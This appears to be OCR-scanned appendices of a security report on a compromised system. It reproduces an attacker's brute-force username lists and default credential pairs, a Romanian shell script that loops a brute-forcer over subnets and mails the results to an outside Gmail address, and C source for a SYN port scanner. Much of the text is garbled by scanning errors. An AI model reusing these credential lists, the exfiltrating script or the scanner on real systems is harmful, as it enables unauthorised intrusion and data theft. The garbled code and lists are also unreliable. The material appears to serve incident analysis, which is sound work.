anjana
anjen
ann
anna
annalena
annalise
annamari
anne
annette
anni
annie
anon
anonymous
answer
anthony
antoine
anton
antonio
antony
anu
anupa
anupam
anurag
anvils
anything
april
aram
arash
arbenz
ardent
arelene
ari

aria
ariadne
ariella
arif

arijit
arindam
arjun
arjunasa
arlene
armand
armando
armond
arnold
aron
arrow
arshad
art
arthur
artie
arty
arun
aruna
arvind

asad
asd
asdf
ashima
ashish
ashok
ashutosh
asian
asjeet
asm
ass
asshole
athanass
athena
atlanta
atse

atul
audie
audra
audrey
august
augustin
aurelius
austin
av

avni
avraham
azam
aziz
azizi
aztecs
azure
babak
babe
bacchus
backup
badass
bahram
bailey
balakris
balas
balasubr
baldo
balkrish
ballard
ban
banana
bananas
bancroft
bandit
bang
banks
barb
barbara
barber
baritone
barney
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barry
bart
bartman
barton
basic
baskar
bass
bassoon
basuki
batch
batman
bbb
bbbb
bbbbb
bbbbbb
bbbbbbb
bbbbbbbb
beach
beater
beauty
beaver
becky
behnam
bellow
beloved
ben
bengt
benjamin
bennet
bennett
benoit
benson
bent
beny
benz
beowulf
beppe
beresfor
berhanu
berkeley
berlin
berliner
bernard
bernhard
bernie
bert
beryl
beta
beth
bethany
betsie
bettie
betty
beverly
bhavani
bhoothap
biay

bichnga
bienveni
big
biliamee
bill

billie
billy

bin

bind
bing
binod
birget
birgetta
birgit
bishop
bitch
bizhan
bjorn
blaine
blair
blake
blow
blss

bob
bobbi
bobby
boleslaw
boner
bong
bonnie
boon
boozie
bor
boris
boyd
brad
bradford
bradley
brandi
brandy
branisla
brat
breast
brenda
brendan
brenden
brent
bret
breton
brett
brian
bridget
bridgett
brinkley
broadway
bromberg
brothel



bruce
bruno
bryan
bryce
bryn
bsd
bumbling
bung
bunny
burgess
burke
burton
busalacc
butch
butt
byoung
byoungin
byung
cad
cadat
cadweld
cal
caleb
calendar
calvin
cameron
camilla
camille
camlin
candace
candi
candy
cantor
canute
card
cardinal
caren
carey
carl
carla
carlena
carlo
carlos
carlyle
carlyn
carmen
carol
carole
caroleen
carolie
carolina
caroline
carolyn
carrie
carrol
carson
carver

cary
caryl
caryn
cascades
casey
caspar
cassie
castle
cat
catherin
cathi
cathleen
cathy
cayuga
ccc

ccce
cccce
ccceece
ccccece
cceccecee
cecil
cecilia
cecily
celeste
celia
celtics
cerulean
cesar
chad
chai
chain
chakkala
chan
chand
chandra
chandram
chandras
chanequa
chang
change
changho
changkyu
chanshin
chao
chao-yan
chaofeng
charity
charles
charlie
charlott
charming
charon
chas
chat
chau
chedsada
chem

chen
cheng
cheow
cheow-to
cherala
chery
chess
chester
cheung
chi
chi-pang
chi-shun
chi-tai
chi-wang
chi-yao
chia
chia-hua
chia-lin
chia-yin
chia-yu
chien
chihsing
chilin
chin
chin-w
ching
ching-en
ching-|
ching-me
chinpan
chip
chisheng
chloe
cho

chol
choong
choong-h
chou
chris
chrispen
chriss
christian
christie
christine
christoph
er
christy
chu
chuck
chuen-ch
chuen-ts
chun
chun-lin
chun-she
chun-yu
chung
chung-na

E-3

chung-p
chung-ya
chungen
chungyen
chuong
churn-hu
cigar
cimarron
cindelyn
cindy
claire
clarisa
clarissa
clark
class
classic
claude
claudia
cleavage
cliff
clifford
clifton
clint
clinton
cloud
cluster
clusters
cock
code
coe
coffee
cohen
coke
colin
colleen
collette
collins
comandur
computer
comrade
comrades
condo
condom
connect
conner
connie
conrad
console
cookie
cool
cooper
coralyn
corey
corinna
corinne
corky
corlene

cornelia
cosmo
courtney
couscous
coventry
craig
create
creation
credit
creosote
cretin
crimina
cristina
cronus
crug
crystal
cshrc
cum
cunt
cuong
curt
customer
cyber
cynthia
cyril
daebum
daehyun
daemon
dain
daisy
dale
dalibor
dalit
dalu
damon
damrongs
dan
dana
dancer
dane
danh
daniel
danielle
danna
danni
danny
dante
dapper
daqging
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wes
wesley
wet
whatever
whatnot
whey
whiting
whitney
whore
wilfried
wil

willen
william
willie
willy
wilma
wilson
win
winfred
wing
winston
wired
wizard
wojtek
woman
wombat
women
won
wong
wonyun
woobin
woodrow
woodwind
wooliyi
word
work
wormwood
wun
wuntsin
WWW
WWWW
WWWWW
WWWWWW
WWWWWWW
WWWWWWWW

wynne
wyoming
xavier
xaviere
xfer

X

xiao
xiaobo
xiaogang
xiaoli
xiaomin
xinghao
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xmodem
xue
xueqing
XXX
XXXX
XXXXX
XXXXXX
XXXXXXX
XXXXXXXX
Xyz
Xyzzy
yaco
yael

yan
yang
yanjun
yaomin
yaser
yee
yeng
yeon
yeong
yezi
yiannis
yigal
yihua
yin
yingsha
yishun
yogesh
yoichi
yolanda
yon
yonah
yong
yongdong
yongho
yonghwan
yongsam
yosemite
yoshiak
yoshio
you
youcef
youhanse
young
yuan
yuehwern
yugang
yuh

yuji
yujiko
yuka
yukkei
yumi
yumiko
yung

yugian
yuval
yves
yvette
yvonne
yyy
yyyy
Yyyyy
Yyyyyy
YYYyyyyy

YYyyyyyy
zachary

zap
zary
zhaogian
zhaozhua
zhengkun
zhenyan
zh
zhigang
zhishun
zhiwei
zhixin
zhongmin
zita

ziv

ziyou
zmodem
zonda
zoran
277

2777
27777
277777
27727777
277727777



Appendix F

The following is a list of the usernames and pasdwaontained in the files pass_file, pass_filew] pass_filees, described in

Chapter 4.
pass_file pass_filec pass_filees
staff staff staff staff staff staff
sales dales salgs sales sales sales
recruit regruit recruit recruit recruit recruit
alias alias aligs alias alias alias
office office office office office office
samba samba gamba samba samba samba
tomcat tomcat tomcat tomcat tomcat tomcat
webadmin webadmin webadmin webadmin WJabadmin weba dmin
spam spam gpam spam spam spam
virus virus Vifus virus virus virus
Cyrus ayrus ayrus Cyrus cyrus cyrus
oracle oracle oracle oracle oracle oracle
michael michael michael michael michael michael
ftp fip fip ftp ftp ftp
test test tgst test test test
webmaster webmaster webmaster webmaster webmaster webmaster
postmaster postmaster postmaster postmasier postm aster postmaster
postfix postfix postfix postfix postfix postfix
postgres postgres postgres postgres postgres| post gres
paul paul payl paul paul paul
root rpot rpot root root root
guest guest guest guest guest guest
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admin admin adgmin admin admir admin
linux limux linux linux linux linux

user iser user user usel user

david david davjd david david david

web web web web web wel
apache apache apache apache apache apache|
pgsql Rosql posal pgsql pgsql pgsql

mysq| mysq|l mysq| mysq! mysql mysq|

info info info info info info

tony tony fony tony tony tony

core core cone core newslegter newsletter
newsletter newsletter newsletter newsletter named named
named named named named vigitor visitor
visitor visitor visitor visitor ftpuser ftpuser

ftpuser ftpuser ftpyser ftpuser username username
username Lsername username username library libra ry
administrator adnjinistrator administrator administ rator test test123
library library library library root root123

test test123 tesst test123 root master

root root123 root root123 root 123456

root master roof master admin adminl23
admin adminl123 admin admin123 guést guest12B
guest guest123 guest guestl23 master master
master master master master root webadmin
root webadmin rogt webadmin root admin

root gdmin rogt admin root linux

root linux rqot linux root test
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root test root test root webmaster

root webmaster oo webmaster root 000000

admin root admin root admin root

admin administrator admin adminigtrator admin adm inistrator
admin 12345 admin 12345 admin 12345

admin 123456 admin 123456 admin 123456

root 123456 rogt 123456 root 123456

root 12345678 oot 12345678 root 12345678

test test12345 test test12345 test test12345

test 123456 tes 123456 test 123456

webmaster 123456 webmaster 123456 welmaster 12345 6
username bassword username password usefname pass word
user password user password user password

root password root password root password

admin password admin password admin passwo

test password test password test password

root dpache root apache root apache

root unix rpot unix root unix

root redhat root redhat root redhat

danny danny danny darnny danny danny

alex alex ale alex alex alex

brett brett brett brett brett brett

mike mike mike mike mike mike

alan alan alap alan alan alan

data Hata data data datg data

www-data www-data www-data www-data www-dlata WWW- data
http http hitp http http http
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httpd httpd hitpd httpd httpd httpd

pop pop ppp pop pop pop
nobody hobody nobody nobpdy nobody nobody|
root login rgot login root login

backup backup backup backup bagkup backup
info 123456 infg 123456 info 123456

shop shop shop shap shop shop
sales gales sales sales sales sales

web web web web web wel
WWW WWW WWW WWW WWW WWW
wwwrun wwwrun wwwrun wwwrun Wwwrun WwWyrun
adam adam adam gdam adam adam
stephen gtephen gtephen stephen stephen stephen
richard righard richard richard richard richard

george george george george george george

john john john john john john

news news news news news news
angel angel angel ange ange| angel

games games games games games games
pgsql pgsql123 pasql pgsql123 pgsql pgsql123

mail mail mail mail malil malil

adm adm adm adm agdm agm
ident ident ident ident adm adm123
webpop webpop webpop webpop ident ident
susan susan susan susan weppop webpop
sunny sunny sunny sunhy susan susan
steven dteven steyen stever steven steven
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ssh ssh sgh ssh ssh ssh

search gearch gearch search search search

sara sara sara sara sarg sara

robert rgbert robert robert robert robert

richard righard richard richard richard richard

party party party party party party

amanda amanda amanda amanda amanda amanda

rpm rpm rpm rpm fpm rpm

operator operator operator operator operator oper ator
sgi 3qi 50 sqi sqi sqi

sshd sshd sshd sshd sshd sshd

users users users users users users

admins admins admins admins adming admins

admins 123456 admins 123456 admins 123456

bin bin bin bin bin bin

daemon daemon daemon daemon daemon daemon

Ip Ip Ip Ip Ip Ip

sync 5ync sync syn¢ sync sync

shutdown shutdown shytdown shutdown shutdown shut down
halt halt halt halt halt halt

uucp uucp uucp uugp udcp uucp

smmsp smmsp smmsp smmsp smmsp smmsp
dean dean dean dean dean dean

unknown unknown unknown unknown unknown unknown
securityagent secyurityagent securityagent security agent securityagent securityagent
tokend tokend tokend tokend tokend tokend
windowserver windowserver windowserver windowserve r windowserver  wingdowserver




appowner appowner appowner appowner appowner appo wner
xgridagent xgridagent xgritlagent xgridagent agent agent
agent agent agent agent jabber jabber
xgridcontroller xgridcontroller xgridcontroller xgridcontroller amavisd amavisd

jabber jabber jabber jabber clamav clamav

amavisd amavisd amlavisd amayisd appserver appserv er
clamav clamav clamav clamav mailman mailman

appserver appserver appserver appserver cyrusimap cyrusimap
mailman mailman mailman mailman gtss gtss

cyrusimap cyrusimap cyrusimap cyrusimap eppc eppc

gtss qtss qtss gtss telnetd telnetd

eppc eppc eppc eppc identd identd

telnetd telnetd telneta telnetd gnats gnats

identd identd identd identd jeff jeff

gnats gnats gnats gnats irc irc

jeff jeff jeff jeff list list

irc inc irc irc eleve eleve

list list list list proxy proxy

eleve eleve eleve eleve sys sys

proxy proxy proxy proxy| 777 77z

sys 5YS sys sys tegh tech

7727 777 777 727 frank frank

frank fiank frank frank dan dan

dan dan dan dan james james

james ames james james snort short

snort short snort snort radiomail radiomail

radiomalil ragiomail radipmail radiomalil harrypott er harrypotter
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harrypotter harfypotter harryy otder harrypotter d ivine divine
divine divine diyine divine popa3d popa3d
popa3d popa3d papa3d popa3d aptproxy aptproxy
aptproxy aptproxy aptproxy aptproxy desktop deskt op
desktop desktop desktop desktqp workshop workshop
workshop workshop workshop workshop mailpull mail null
mailnull mailnull mailhul mailnull nfsnobody nfs nobody
nfsnobody nfsnobody nfsnpbody nfsnobpdy rpcuse r pcuser
rpcuser rpcuser rpcuser rpcuser rpc rpc
rpc pc rpa rpc gophet gopher
gopher gopher gopher gopher leonardo leonardo

jardel jardel Notes notes

glias alias ftpgliest ftpguest

maker maker nagios nagiog

ghina chipa hacker hacker

halonas balpnas

atern etern

gommando cpmmando

gystem system

adolf 123456
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Appendix G

The following is the full text of the scriptart , included in thevebmin tool described in

Chapter 4.

clear

echo "Tatal nostru care esti pe internet,"

echo "Sfinteasca rooterele tale,"

echo "Fie fibra ta optica,"

echo "Faca-se conexiunea ta!"

echo "Si da-ne noua viteza pe care 0 avem noaptea s
echo "Si ne iarta noua conturile pirat"

echo "Precum si noi iertam facturile providerilor n
echo "Si nu ne duce pe noi spre flood si ne izbaves
€CNO "HHHHHHHHHHHHHH
echo "#now.. let's get started with thease little m
echo "#Made by: NOName and Protecte
2

echo "#Greets to:NOName The Master Of Univers = #mo
€CNO "HHHHHHHHHHHHHHHHHH
if [ -fa]; then

Jal

Ja2

Ja3

cat vuln.txt |mail -s "Root’S Hacked By #moc Team"
Ja$1.0

Ja$1l.1

Ja$1.2

Ja$1.3

Ja$1.4

Ja$1.5

Ja $1.6

Ja$1.7

Ja $1.8

Ja $1.9

Ja $1.10

Ja2

Ja3

cat vuln.txt |mail -s "Root’S Hacked By #moc Team"
Ja $1.11

Ja $1.12

Ja $1.13

Ja$1.14

Ja $1.15

Ja $1.16

Ja $1.17

Ja $1.18

Ja $1.19

Ja $1.20

Ja2

Ja3

cat vuln.txt |mail -s "Root’S Hacked By #moc Team"
Ja $1.21

Ja $1.22

Ja $1.23
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Ja $1.24
Ja $1.25
Ja $1.26
Ja $1.27
Ja $1.28
Ja $1.29
Ja $1.30
Ja2

Ja3

cat vuln.txt |mail -s "Root’S Hacked By #moc Team" datacorz@gmail.com
Ja $1.31
Ja $1.32
Ja $1.33
Ja $1.34
Ja $1.35
Ja $1.36
Ja $1.37
Ja $1.38
Ja $1.39
Ja $1.40
Ja2

Ja3

cat vuln.txt |mail -s "Root’S Hacked By #moc Team" datacorz@gmail.com
Ja $1.41
Ja $1.42
Ja $1.43
Ja $1.44
Ja $1.45
Ja $1.46
Ja $1.47
Ja $1.48
Ja $1.49
Ja $1.50
Ja2

Ja3

cat vuln.txt |mail -s "Root’S Hacked By #moc Team" datacorz@gmail.com
Ja $1.51
Ja $1.52
Ja $1.53
Ja $1.54
Ja $1.55
Ja $1.56
Ja $1.57
Ja $1.58
Ja $1.59
Ja $1.60
Ja2

Ja3

cat vuln.txt |mail -s "Root’S Hacked By #moc Team" datacorz@gmail.com
Ja $1.61
Ja $1.62
Ja $1.63
Ja $1.64
Ja $1.65
Ja $1.66
Ja $1.67
Ja $1.68
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Ja $1.69
Ja$1.70
Ja2
Ja3

cat vuln.txt |mail -s "Root’S Hacked By #moc Team"

Ja$1.71
Ja $1.72
Ja$1.73
Ja$1.74
Ja $1.75
Ja $1.76
Ja $1.77
Ja$1.78
Ja$1.79
Ja $1.80
Ja2

Ja3

cat vuln.txt |mail -s "Root’S Hacked By #moc Team"

Ja$1.81
Ja $1.82
Ja $1.83
Ja $1.84
Ja $1.85
Ja $1.86
Ja $1.87
Ja $1.88
Ja $1.89
Ja $1.90
Ja2

Ja3

cat vuln.txt |mail -s "Root’S Hacked By #moc Team"

Ja $1.91
Ja $1.92
Ja $1.93
Ja $1.94
Ja $1.95
Ja $1.96
Ja $1.97
Ja $1.98
Ja $1.99
Ja $1.100
Ja2

Ja3

cat vuln.txt |mail -s "Root’S Hacked By #moc Team"

Ja $1.101
Ja $1.102
Ja $1.103
Ja $1.104
Ja $1.105
Ja $1.106
Ja $1.107
Ja $1.108
Ja $1.109
Ja $1.110
Ja2

Ja3

cat vuln.txt |mail -s "Root’S Hacked By #moc Team"
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Ja $1.111
Ja $1.112
Ja $1.113
Ja $1.114
Ja $1.115
Ja $1.116
Ja $1.117
Ja $1.118
Ja $1.119
Ja $1.120
Ja2

Ja3

cat vuln.txt |mail -s "Root’S Hacked By #moc Team" datacorz@gmail.com
Ja $1.121
Ja $1.122
Ja $1.123
Ja $1.124
Ja $1.125
Ja $1.126
Ja $1.127
Ja $1.128
Ja $1.129
Ja $1.130
Ja2

Ja3

cat vuln.txt |mail -s "Root’S Hacked By #moc Team" datacorz@gmail.com
Ja $1.131
Ja $1.132
Ja $1.133
Ja $1.134
Ja $1.135
Ja $1.136
Ja $1.137
Ja $1.138
Ja $1.139
Ja $1.140
Ja2

Ja3

cat vuln.txt |mail -s "Root’S Hacked By #moc Team" datacorz@gmail.com
Ja $1.141
Ja $1.142
Ja $1.143
Ja $1.144
Ja $1.145
Ja $1.146
Ja $1.147
Ja $1.148
Ja $1.149
Ja $1.150
Ja2

Ja3

cat vuln.txt |mail -s "Root’S Hacked By #moc Team" datacorz@gmail.com
Ja $1.151
Ja $1.152
Ja $1.153
Ja $1.154
Ja $1.155
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Ja $1.156
Ja $1.157
Ja $1.158
Ja $1.159
Ja $1.160
Ja2

Ja3

cat vuln.txt |mail -s "Root’S Hacked By #moc Team" datacorz@gmail.com
Ja $1.161
Ja $1.162
Ja $1.163
Ja $1.164
Ja $1.165
Ja $1.166
Ja $1.167
Ja $1.168
Ja $1.169
Ja $1.170
Ja2

Ja3

cat vuln.txt |mail -s "Root’S Hacked By #moc Team" datacorz@gmail.com
Ja$1.171
Ja $1.172
Ja $1.173
Ja $1.174
Ja $1.175
Ja $1.176
Ja $1.177
Ja $1.178
Ja $1.179
Ja $1.180
Ja2

Ja3

cat vuln.txt |mail -s "Root’S Hacked By #moc Team" datacorz@gmail.com
Ja $1.181
Ja $1.182
Ja $1.183
Ja $1.184
Ja $1.185
Ja $1.186
Ja $1.187
Ja $1.188
Ja $1.189
Ja $1.190
Ja2

Ja3

cat vuln.txt |mail -s "Root’S Hacked By #moc Team" datacorz@gmail.com
Ja $1.191
Ja $1.192
Ja $1.193
Ja $1.194
Ja $1.195
Ja $1.196
Ja $1.197
Ja $1.198
Ja $1.199
Ja $1.200
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Ja2
Ja3

cat vuln.txt |mail -s "Root’S Hacked By #moc Team"

Ja $1.201
Ja $1.202
Ja $1.203
Ja $1.204
Ja $1.205
Ja $1.206
Ja $1.207
Ja $1.208
Ja $1.209
Ja $1.210
Ja2

Ja3

cat vuln.txt |mail -s "Root’S Hacked By #moc Team"

Ja $1.211
Ja $1.212
Ja $1.213
Ja $1.214
Ja $1.215
Ja $1.216
Ja $1.217
Ja $1.218
Ja $1.219
Ja $1.220
Ja2

Ja3

cat vuln.txt |mail -s "Root’S Hacked By #moc Team"

Ja $1.221
Ja $1.222
Ja $1.223
Ja $1.224
Ja $1.225
Ja $1.226
Ja $1.227
Ja $1.228
Ja $1.229
Ja2

Ja3

cat vuln.txt |mail -s "Root’S Hacked By #moc Team"

Ja $1.230
Ja $1.231
Ja $1.232
Ja $1.233
Ja $1.234
Ja $1.235
Ja $1.236
Ja $1.237
Ja $1.238
Ja $1.239
Ja2

Ja3

cat vuln.txt |mail -s "Root’S Hacked By #moc Team"

Ja $1.240
Ja $1.241
Ja $1.242
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Ja $1.243
Ja$1.244

Ja $1.245

Ja $1.246

Ja $1.247

Ja $1.248

Ja $1.249

Ja2

Ja3

cat vuln.txt |mail -s "Root’S Hacked By #moc Team" datacorz@gmail.com
Ja $1.250

Ja $1.251

Ja $1.252

Ja $1.253

Ja $1.254

Ja2

Ja3

Ja $1.255

killall -9 a

else

echo # Ciudat ..Nu Ai Urmat Instructiunile #
echo # trebui dat mv assh a sau mv scana #
echo # orice ai avea tu ... dohh .. #

killall -9 a

killall -9 pscan2

fi
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Appendix H

The following is the full text of what we believe be the source code for the SYN scan
tool, nameds, which is discussed in Chapter 4. The source gakeobtained from the
following site, based on the results of an Intesezrch on several strings extracted from
thess binary: http://www.securiteam.com/tools/5SEPOBOADRNI.

/*

This is a fast and portable (i think). 48 bytes syn

are still working on it, drop an email to drbios200
something goes wrong. libnet and libpcap is require
pretty self explanatory, stripped static binary inc
Greets to kauggie (kaugex), nebunu, amidax, jhony s
avem noi pe internetu asta.

BAG PULA IN TOTI ADMINII CARE SE CRED DUMNEZEI CA S
FATA MUIE CUI SE SIMTE LUAT IN VIZOR DE HAITATEAM

*/

#include <libnet.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpalinet.h>
#include <sys/types.h>
#include <unistd.h>
#include <pcap.h>
#include <time.h>

int main(int argc, char **argv)

libnet_t *I;

libnet_ptag_tt;

unsigned short burst=50;

unsigned short ct=0;

char errbuffLIBNET _ERRBUF_SIZE];

unsigned long myip;

struct in_addr sc;

unsigned char tcpopt[]="\x02\x04\x05\xb4\x01\x01\x

unsigned short port;
unsigned long usec;
/lunsigned char outstr[1024];
char cc;

inti;

pid_t pid;

pcap_t *handle;

char *temp_char;
bpf_u_int32 mask;
bpf_u_int32 net;

char errbuf[PCAP_ERRBUF_SIZE];
char filter[1024];

struct bpf_program cfilter;
struct pcap_pkthdr header;
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const unsigned char *packet;
struct in_addr ekkt;
unsigned char ip[50];

unsigned long dstip=0;
unsigned short sport;

char *interface=NULL,;
unsigned char bclass=0;
unsigned char aclass=0;
unsigned char rclass=1;
unsigned int a=0,b=0,c=0,d=0;

srand(time(NULL));
sport=rand();
usec=1000000;
if(argc<2)

{

printf("usage: %s <port> [-a <a class> | -b <b cla

[-s <speed>]\n",argVv[0]);

printf("speed 10 -> as fast as possible, 1 -> it w

(about 50 syns/s)\n");

printf("by DrBIOS <drbios2000@yahoo.com> & Bagabon
<bagabonturo@yahoo.com>\n");

exit(0x01);

}

for(i=1;i<argc;i++)
if(strstr(argv[i],"-s"))
if(i+1<argc)

s{witch (atoi(argv[i+1]))

case 1:usec=1000000;break;
case 2:usec=500000;break;
case 3:usec=250000;break;
case 4:usec=125000;break;
case 5:usec=60000;break;
case 6:usec=30000;break;
case 7:usec=10000;break;
case 8:usec=1000;break;
case 9:usec=100;break;

case 10:usec=0;burst=65535;

}
}

else

{

printf("-s requires an argument\n");
exit(0x01);

}

}

if(strstr(argv[i],"-i"))

if(i+1<argc) interface=argv[i+1];else
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printf("-i requires an argument\n");
exit(0x01);
}

}
if(strstr(argv[i],"-a"))
if(i+1<argc)

aclass=1;
bclass=0;
rclass=0;
a=atoi(argv[i+1]);
b=0;

c=0;

d=0;
[lprintf("%d\n",a);
if((a<l) || (a>254))
{

printf("A must be between 1 and 254\n");
exit(0x02);

}

printf("scanning network %d.*.*.*\n",a);

}

else

{

printf("-a requires an A network as argument\n");
exit(0x01);

}

}
if(strstr(argv[i],"-b"))
{

if(i+1<argc)

aclass=0;

bclass=1;

rclass=0;
a=atoi(strtok(argv[i+1],"."));
temp_char=strtok(NULL,".");
if(temp_char==NULL)
b=0;else b=atoi(temp_char);
c=0;

d=0;

[lprintf("%d\n",a);

if((a<l) || (a>254))

{

printf("A must be between 1 and 254\n");
exit(0x02);

}

printf("scanning network %d.%d.*.*\n",a,b);
}

else

{

printf("-b requires an B network as argument(e.g.
exit(0x01);

}

}

}
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printf("usec: %ld, burst packets %d\n",usec,burst)
port=(unsigned short)atoi(argv[1]);

if((port<1) || (port>65535)) exit(printf("damn dud
in 1 .. 65535\n"));

if(interface!=NULL) printf("using inteface %s\n",i

I=libnet_init(LIBNET _RAWA4,interface,errbuff);
if(!)
{

printf("ERROR: %s\n",errbuff);
exit(0x02);

myip=libnet_get_ipaddr4(l);

sc.s_addr=myip;
sprintf(filter,"(tcp[tcpflags]=0x12) and (src port
%d)",port,sport);

printf("using \"%s\" as pcap filter\n" filter);
printf("my detected ip on %s is %s\n",I->device,in
pcap_lookupnet(l->device, &net, &mask, errbuf);
pid=fork();

handle=NULL;

handle = pcap_open_live(l->device, BUFSIZ, 1, 0, e
if(handle==NULL)

{

printf("ERROR: pcap_open_live() : %s\n",errbuff);
exit(0x05);

cc=pcap_compile(handle, &cfilter, filter, 0, net);
if(cc!l=0)

printf("ERROR: pcap_compile() failed!!\n");
exit(0);

}

cc=pcap_setfilter(handle, &cfilter);

if(cc!=0)

{
printf("ERROR: pcap_setffilter() failed!'"\n");
exit(0);

}
if(pid==0)

{
I* sniff */

while(1)
{

packet = pcap_next(handle, &header);
memcpy(&ekkt.s_addr,packet+26,4);
printf("%s\n",inet_ntoa(ekkt));
FILE * fp;
fp=fopen("bios.txt","a+");
fprintf(fp,"%s\n" inet_ntoa(ekkt));
fclose(fp);
}

}
if(pid > 0)
{

printf("capturing process started pid %d\n",pid);
usleep(500000);
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while(1)

t=LIBNET_PTAG_INITIALIZER;

t=libnet_build_tcp_options(tcpopt, 8, 1,0);

/It=LIBNET_PTAG_INITIALIZER;

t=libnet_build_tcp(sport,port,rand(),rand(),TH_S
TCP_H+8,NULL,0,l,0);

if(rclass) dstip=rand();

if(aclass)

{

if(d==0) printf("scanning %d.%d.%d.*\n",a,b,c);
d++;

if(d>255) {c++;d=0;}

if(c>255) {b++;c=0;}
sprintf(ip,"%d.%d.%d.%d\n",a,b,c,d);

[lprintf("%s\n",ip);
if((b==255)&& (c==255) && (d==255))

printf("aici trebuie stop\n");
sleep(10);

kill(pid,2);

return O;

}

sc.s_addr=inet_addr(ip);
dstip=sc.s_addr;

}
if(bclass)

{

if(d==0) printf("scanning %d.%d.%d.*\n",a,b,c);
d++;

if(d>255)

{

c++;d=0;

}

sprintf(ip,"%d.%d.%d.%d",a,b,c,d);

if((c==255) && (d==255))

{

printf("%s\n",ip);
printf("aici trebuie stop\n");
sleep(10);

kill(pid,2);

return O;

}

sc.s_addr=inet_addr(ip);
dstip=sc.s_addr;

}

libnet_build_ipv4(LIBNET_TCP_H+LIBNET_IPV4_H+8,0,

_TCP,0,myip,dstip,NULL,0,1,0);
cc=libnet_write(l);
if(cc<=0) printf("libnet_write() wtf %d\n",cc);
libnet_clear_packet(l);
if(ct==burst)

usleep(usec);
ct=0;
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Ct++;

}
if(pid<0)
{

printf(“cannot fork()\n");

exit(0x05);
}

return O;
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